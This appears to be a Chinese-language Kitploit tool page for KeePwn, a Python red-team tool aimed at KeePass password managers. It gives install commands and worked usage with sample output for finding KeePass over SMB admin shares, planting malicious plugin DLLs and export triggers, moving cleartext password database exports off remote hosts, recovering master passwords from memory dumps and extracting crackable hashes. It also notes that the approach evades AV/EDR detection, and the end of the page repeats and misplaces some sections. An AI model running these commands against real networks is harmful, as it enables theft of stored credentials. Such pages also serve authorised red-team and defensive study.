Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
KeePwn — 一个用于自动化KeePass发现和机密提取的Python工具。 | Kitploit
工具/GitHubGitHub/orange-cyberdefense/keepwn
密码破解漏洞利用后渗透利用红队
GitHuborange-cyberdefense/keepwn

KeePwn

一个用于自动化KeePass发现和机密提取的Python工具。

查看仓库
5275411年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

一个帮助红队发现KeePass实例并提取秘密的Python脚本。

功能

  • KeePass 发现
    • 通过 SMB C$ 共享查找 KeePass 安装文件。
    • 接受多个目标来源(IP、CIDR、主机名、文件)。
    • 检查 KeePass 元数据(版本、上次访问时间)。
    • 通过基于 Impacket 的 RPC 检查正在运行的 KeePass 进程。
    • 多线程实现以避免瓶颈主机。
    • 将搜索结果导出为 CSV。
    • 查找 KDBX 数据库。
  • KeePass 插件滥用
    • 通过 SMB C$ 共享添加和删除 KeePass 插件(参见 KeeFarce Reborn)。
    • 在远程主机上检索明文导出。
  • KeePass 触发器滥用
    • 通过 SMB C$ 共享从 KeePass 配置文件中添加和删除触发器(参见:KeeThief)。
    • 在远程主机上检索明文导出。
    • 通过命令行参数自定义触发器。
  • KeePass 转储解析
    • 解析内存转储以查找主密码候选(CVE-2023-32784)。
    • 解析内存转储以查找加密密钥。
  • KeePass 数据库破解
    • 将 KDBX 转换为 John 和 Hashcat 兼容格式。
    • 添加对 KDBX 4.x 格式 的支持。
  • 认证
    • 支持 LM/NT 哈希认证。
    • 支持 Kerberos 认证。
  • 杂项
    • 编写单元测试。
    • 在 PyPI 上发布该项目。

安装

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

或者,如果你不想安装,只想在虚拟环境中运行:

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

使用

发现

KeePwn 的 search 模块用于识别目标环境中运行 KeePass 的主机:

root@kitploit:~
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

它利用 Active Directory 内置的 C$ 共享在默认位置查找与 KeePass 相关的文件,因此需要在目标上拥有管理员权限。

该模块首先会在每个用户的 %APPDATA%\KeePass 文件夹 中查找 KeePass.config.xml 配置文件,以及在默认安装路径(C:\Program Files\KeePass Password Safe 2)中查找 KeePass.exe。如果找到配置文件但 KeePass 未全局安装,KeePwn 将递归查找便携式安装,最多深入 --max-depth 个子文件夹。

这种基本搜索技术应该足以准确判断工作站上是否使用了 KeePass。此外,--get-process 选项将使用 Impacket 的 RPC 实现来确定 KeePass 当前是否在目标上运行。

还包含了一些提升使用体验的选项,允许你将搜索结果导出到 CSV 文件,仅显示找到 KeePass 的目标,以及调整并行线程数:

root@kitploit:~
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv
插件滥用

KeePass 提供了一个插件框架,可被滥用以将恶意 DLL 加载到 KeePass 进程中,从而允许具有管理员权限的攻击者轻松导出数据库(参见:KeeFarceRebornPlugin)。

KeePwn 的 plugin 模块允许:

  • 列出当前已安装的插件并枚举插件缓存

    root@kitploit:~
    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
    
    [*] No path specified, searching in default locations..
    [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
    
  • 添加和删除你的恶意插件

    root@kitploit:~
    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
    
    [*] No path specified, searching in default locations..
    [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
    > y
    [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
    
  • 轮询 %APPDATA% 以获取导出,并自动将其从远程主机移动到本地文件系统

    root@kitploit:~
    $ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    
触发器滥用

如 @harmj0y 的博文(以及后来的 CVE-2023-24055)所述,KeePass 的触发系统可被滥用以明文导出数据库。

KeePwn 的 trigger 模块允许:

  • 检查 KeePass 配置中当前是否写入了名为 "export" 的恶意触发器

    root@kitploit:~
    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] No trigger found in KeePass configuration
    

    注意,如果检测到的 KeePass 版本不受此技术影响,KeePwn 将阻止你滥用插件。

  • 添加和删除一个名为 "export" 的恶意触发器,该触发器在下次 KeePass 启动时执行数据库的明文导出到 %APPDATA%

    root@kitploit:~
    ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
    
内存转储解析

如 @vdohney 所述,可以从内存中检索数据库的主密码(CVE-2023-32784,影响 KeePass 2.54 之前的版本)。

KeePwn 的 parse_dump 模块将在转储中搜索潜在的主密码候选。由于生成的字符串(设计上)是不完整的,该模块也可以用于针对指定的 KDBX 文件暴力破解缺失的第一个字符。

root@kitploit:~
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
[*] Found 15 candidates:
     _@$$w0rd!!
     _Ï$$w0rd!!
     _§$$w0rd!!
     _ñ$$w0rd!!
     _D$$w0rd!!
     _$$w0rd!!
     _\$$w0rd!!
     _#$$w0rd!!
     _y$$w0rd!!
     _k$$w0rd!!
     _9$$w0rd!!
     _;$$w0rd!!
     _H$$w0rd!!
     _>$$w0rd!!
     _a$$w0rd!!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!

内存转储解析使用了 @CMEPW 的 Python PoC。感谢允许我重用代码 :)

破解 KDBX 数据库

@harmjoy 的 keepass2john.py 脚本在 @0xSp3ctra 的帮助下移植到了 KeePwn。

KeePwn 的 convert 将从 KeePass 数据库中提取一个可破解的哈希(john 或 hashcat 格式)。

root@kitploit:~
KeePwn convert -d ./Database.kdbx 

[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

可以通过更多参数指定期望的哈希类型以及输出文件路径:

root@kitploit:~
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)

KDBX 4.x 尚未支持,你可以使用 https://github.com/r3nt0n/keepass4brute。 如果你有意提交 PR,https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format 将是一份不错的参考资料 :)

贡献

欢迎拉取请求(参见:未选中的功能 + 代码中的一些 TODO)。

如有建议,欢迎在 Twitter 上私信我或提交 issue。

下载工具

这些操作通过 SMB C$ 共享访问完成,由于没有执行命令,因此限制了 AV/EDR 检测。

  • 轮询 %APPDATA% 以获取导出,并自动将其从远程主机移动到本地文件系统

    root@kitploit:~
    $ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    
  • 如果配置文件路径不是默认位置,可以使用 --config-path 参数指定。